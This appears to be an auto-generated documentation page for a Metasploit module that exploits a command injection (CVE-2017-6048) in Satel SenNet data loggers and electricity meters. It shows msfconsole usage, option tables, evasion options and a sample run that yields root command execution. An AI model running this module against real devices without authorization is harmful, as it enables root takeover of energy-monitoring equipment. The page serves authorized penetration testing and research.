Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/telnet/satel_cmd_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability
Module: auxiliary/scanner/telnet/satel_cmd_exec
Source code: modules/auxiliary/scanner/telnet/satel_cmd_exec.rb
Disclosure date: 2017-04-07
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: telnet
Target network port(s): 23, 5000
List of CVEs: CVE-2017-6048
This module exploits an OS Command Injection vulnerability in Satel Iberia SenNet Data Loggers & Electricity Meters to perform arbitrary command execution as 'root'.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/telnet/satel_cmd_exec
msf auxiliary(satel_cmd_exec) > show options
... show and set options ...
msf auxiliary(satel_cmd_exec) > set RHOSTS ip-range
msf auxiliary(satel_cmd_exec) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(satel_cmd_exec) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(satel_cmd_exec) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(satel_cmd_exec) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
This module exploits an OS Command Injection vulnerability in Satel SenNet Data Logger and Electricity Meters to perform arbitrary command execution as 'root'.
The following versions of SenNet Data Logger and Electricity Meters, monitoring platforms, are affected: 1. SenNet Optimal DataLogger V5.37c-1.43c and prior, 2. SenNet Solar Datalogger V5.03-1.56a and prior, and 3. SenNet Multitask Meter V5.21a-1.18b and prior.
Verification Steps
- Do:
use auxiliary/scanner/telnet/satel_cmd_exec
- Do:
set RHOSTS [IP]
- Do:
set RPORT [PORT]
- Do:
run
Scenarios
msf > use auxiliary/scanner/telnet/satel_cmd_exec
msf auxiliary(satel_cmd_exec) > set rhosts 1.3.3.7
msf auxiliary(satel_cmd_exec) > run
[*] 1.3.3.7:5000 - Sending command now - id;
[+] 1.3.3.7:5000 - uid=0(root) gid=0(root)
[+] 1.3.3.7:5000 - File saved in: /root/.msf4/loot/20000000000003_1.3.3.7_cmdexeclog_12345.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Go back to menu.
Msfconsole Usage
Here is how the scanner/telnet/satel_cmd_exec auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/telnet/satel_cmd_exec
msf6 auxiliary(scanner/telnet/satel_cmd_exec) > show info
Name: Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability
Module: auxiliary/scanner/telnet/satel_cmd_exec
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2017-04-07
Provided by:
Karn Ganeshen <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD id yes Command(s) to run
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5000 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 30 yes Timeout for the Telnet probe
Description:
This module exploits an OS Command Injection vulnerability in Satel
Iberia SenNet Data Loggers & Electricity Meters to perform arbitrary
command execution as 'root'.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-6048
https://ipositivesecurity.com/2017/04/07/sennet-data-logger-appliances-and-electricity-meters-multiple-vulnerabilties/
https://ics-cert.us-cert.gov/advisories/ICSA-17-131-02
Module Options
This is a complete list of options available in the scanner/telnet/satel_cmd_exec auxiliary module:
msf6 auxiliary(scanner/telnet/satel_cmd_exec) > show options
Module options (auxiliary/scanner/telnet/satel_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD id yes Command(s) to run
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5000 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 30 yes Timeout for the Telnet probe
Advanced Options
Here is a complete list of advanced options supported by the scanner/telnet/satel_cmd_exec auxiliary module:
msf6 auxiliary(scanner/telnet/satel_cmd_exec) > show advanced
Module advanced options (auxiliary/scanner/telnet/satel_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
TelnetBannerTimeout 25 yes The number of seconds to wait for the initial banner
TelnetTimeout 10 yes The number of seconds to wait for a reply from a Telnet command
VERBOSE true no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/telnet/satel_cmd_exec module can do:
msf6 auxiliary(scanner/telnet/satel_cmd_exec) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/telnet/satel_cmd_exec auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/telnet/satel_cmd_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<RHOST>:<RPORT> - Connection Failed...
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Connection Failed..." error message:
60: loot_desc = 'Satel SenNet CMD Exec Dump'
61: p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc)
62: print_good("File saved in: #{p}")
63: end
64: rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
65: print_error("#{rhost}:#{rport} - Connection Failed...")
66: return false
67: ensure
68: disconnect
69: end
70: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #14212 Merged Pull Request: Fix invalid disclosure date formats
- #8205 Merged Pull Request: Add Satel SenNet Command Exec Module
References
- CVE-2017-6048
- https://ipositivesecurity.com/2017/04/07/sennet-data-logger-appliances-and-electricity-meters-multiple-vulnerabilties/
- https://ics-cert.us-cert.gov/advisories/ICSA-17-131-02
See Also
Check also the following modules related to this module:
- auxiliary/scanner/telnet/brocade_enable_login
- auxiliary/scanner/telnet/lantronix_telnet_password
- auxiliary/scanner/telnet/lantronix_telnet_version
- auxiliary/scanner/telnet/telnet_encrypt_overflow
- auxiliary/scanner/telnet/telnet_login
- auxiliary/scanner/telnet/telnet_ruggedcom
- auxiliary/scanner/telnet/telnet_version
- auxiliary/admin/http/foreman_openstack_satellite_priv_esc
- auxiliary/admin/http/katello_satellite_priv_esc
- auxiliary/admin/emc/alphastor_devicemanager_exec
- auxiliary/admin/emc/alphastor_librarymanager_exec
- auxiliary/admin/http/cnpilot_r_cmd_exec
- auxiliary/admin/http/hp_web_jetadmin_exec
- auxiliary/admin/http/jboss_seam_exec
- auxiliary/admin/http/linksys_e1500_e2500_exec
- auxiliary/admin/http/linksys_wrt54gl_exec
- auxiliary/admin/http/pihole_domains_api_exec
- auxiliary/admin/maxdb/maxdb_cons_exec
- auxiliary/admin/mssql/mssql_exec
- auxiliary/dos/http/tautulli_shutdown_exec
- auxiliary/scanner/http/epmp1000_get_chart_cmd_exec
- auxiliary/scanner/http/epmp1000_ping_cmd_exec
- auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec
- auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec
- auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec
- auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec
- exploit/linux/http/foreman_openstack_satellite_code_exec
- exploit/freebsd/telnet/telnet_encrypt_keyid
- exploit/linux/telnet/netgear_telnetenable
- exploit/linux/telnet/telnet_encrypt_keyid
- exploit/solaris/telnet/fuser
- exploit/solaris/telnet/ttyprompt
- exploit/windows/telnet/gamsoft_telsrv_username
- exploit/windows/telnet/goodtech_telnet
Authors
- Karn Ganeshen <KarnGaneshen[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.1.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.